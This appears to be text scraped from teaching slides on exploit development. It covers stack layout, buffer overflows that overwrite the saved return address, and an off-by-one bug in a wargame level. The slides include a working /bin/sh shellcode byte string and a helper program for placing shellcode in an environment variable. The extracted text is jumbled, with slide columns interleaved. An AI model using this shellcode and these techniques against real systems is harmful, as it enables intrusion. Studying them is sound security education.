Exploits and Exploit Development: The Basics
Exploits and Exploit Development: The Basics
The basics
ELF Binaries
nothing (empty)
• .text (code)
• .data
heap
• .bss
.bss
• heap
.data
• stack
.text (code)
Bottom of memory
0x00000000
The Stack
• Stack is used for function calls.
• There are 2 registers on the CPU associated with the stack, the EBP (Extended
Base Pointer) and ESP (Extended Stack Pointer)
• ESP points to the top of the stack, whereas EBP points to the beginning of the
current frame.
• When a function is called, arguments, EIP and EBP are pushed onto stack.
• EBP is set to ESP, and ESP is decremented to make space for the functions local
variables.
The Stack
Continued
0xbfff9000 0xbfff9000
the stack saved EIP the stack
0x08049800 0x08049800
0xbfffdd08
saved EBP 0xbfffdd08
func_1() EBP func_1() saved EIP
char buf[128]; char buf[128];
saved EBP
ESP 0x08049800
0xbfffdd08
func_2() EBP
Free memory saved EIP == ret addr int i = 0;
float z = 99.9;
ESP
Free memory
0xbfff8000 0xbfff8000
Buffer Overflows
• Programming bug
the stack the stack the stack
• Input or data is not 0x08049800
saved EIP
0x08049800 0x41414141
char some_data[256];
memset(some_data,’A’,254);
Free memory Free memory Free memory
memcpy(buf,some_data);
Exploiting : The Aim
Our aim is to somehow main()
func3()
divert the flow of the int i;
int x = 0; int one = 1;
program and get it to char *ptr; int two = 2;
int three = 3;
execute what we want.
func4()
func1() func2()
char buf[32] char *p = 0;
int *p; int i = 0,x = 0;
int size = 0; float temp;
exit(-1);
Exploiting : The Aim
Our aim is to somehow main()
func3()
divert the flow of the int i;
int x = 0; int one = 1;
program and get it to char *ptr; int two = 2;
int three = 3;
execute what we want.
func4()
func1() func2() shellcode()
char buf[32] char *p = 0; NOP
int *p; int i = 0,x = 0;
int size = 0; float temp;
exit(-1);
execl();
Method 1 : Smashing the Stack
Putting it all together
Using input or data that
the stack
• Combine what we saved EIP
0x41414141
we provide, we can control
the value that gets written
know about stack, saved EBP 0x41414141
24 A’s
26 A’s
Buffer Overflow : Example 02
gdb output:
example_02.c:
Show me the MONEY!
saved EIP
the stack
0x41414141
We control this.
saved EBP 0x41414141
Free memory
The Answer?
Shellcode
Example Shellcode:
• This is just code that spawns a shell.
“\x31\xc0\xb0\x46\x31\xd
• Comes in many different varieties. b\x31\xc9\xcd\x80\xeb
\x16\x5b
• Some bind to ports, some connect to specific \x31\xc0\x88\x43\x07\x89
\x5b\x08\x89\x43\x0c
servers, some just spawn a local shell, some really
\xb0\x0b\x8d\x4b\x08\x8d
small, some are multipart. \x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff\x2f
• All created to suit the needs of the creator for \x62\x69\x6e\x2f\x73\x68”
whatever purpose he might need them for, or to
avoid certain restrictions that limit its execution. Spawns a “/bin/sh” process.
Shellcode
Continued
• Environment Variable
• etc
Example 01 : Exploited
Shellcode in Environment
getenvaddr.c :
Variable:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf(“%s will be at %p\n”,argv[1],ptr);
Getting address of return 0;
Environment Variable: }
Shellcode : Alignment + NOP Sled
NOP Sled
Example 01: We have shell
•
char buf1[32], buf2[32], buf3[32];
However, he has introduced a new bug,
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3)); called an off-by-one error
strcpy(buf1, buf3);
•
}
0x09 This is just some random text to help show how a string works 0x00
NULL byte
Level 6’s copy_buffer stack layout:
0xbfbfaa00 0xbfbfaa20 0xbfbfaa40
some text here 0x00 some other text 0x00 and some other string 0x00
IO Level 6 : Cont
The problem lies in these 3 lines:
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
strncpy(buf1, buf3);
• The first line copies at most 31 bytes, leaving space for a NULL byte at the end.
• The second line however, copies at most 32 bytes, and therefore, might not leave space for
a NULL pointer at the end, this is where the off-by-one error comes in.
• The third line then copies buf3, into buf1, heres where we can overwrite the saved EIP
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
IO Level 6 : Cont
strncpy(buf1, buf3);
0x414141414141 0x00
strncpy(buf3, argv[2], sizeof(buf3));
• Do Demo here
Method 02 : Format String
• Format strings are the next kind of bug that we will exploit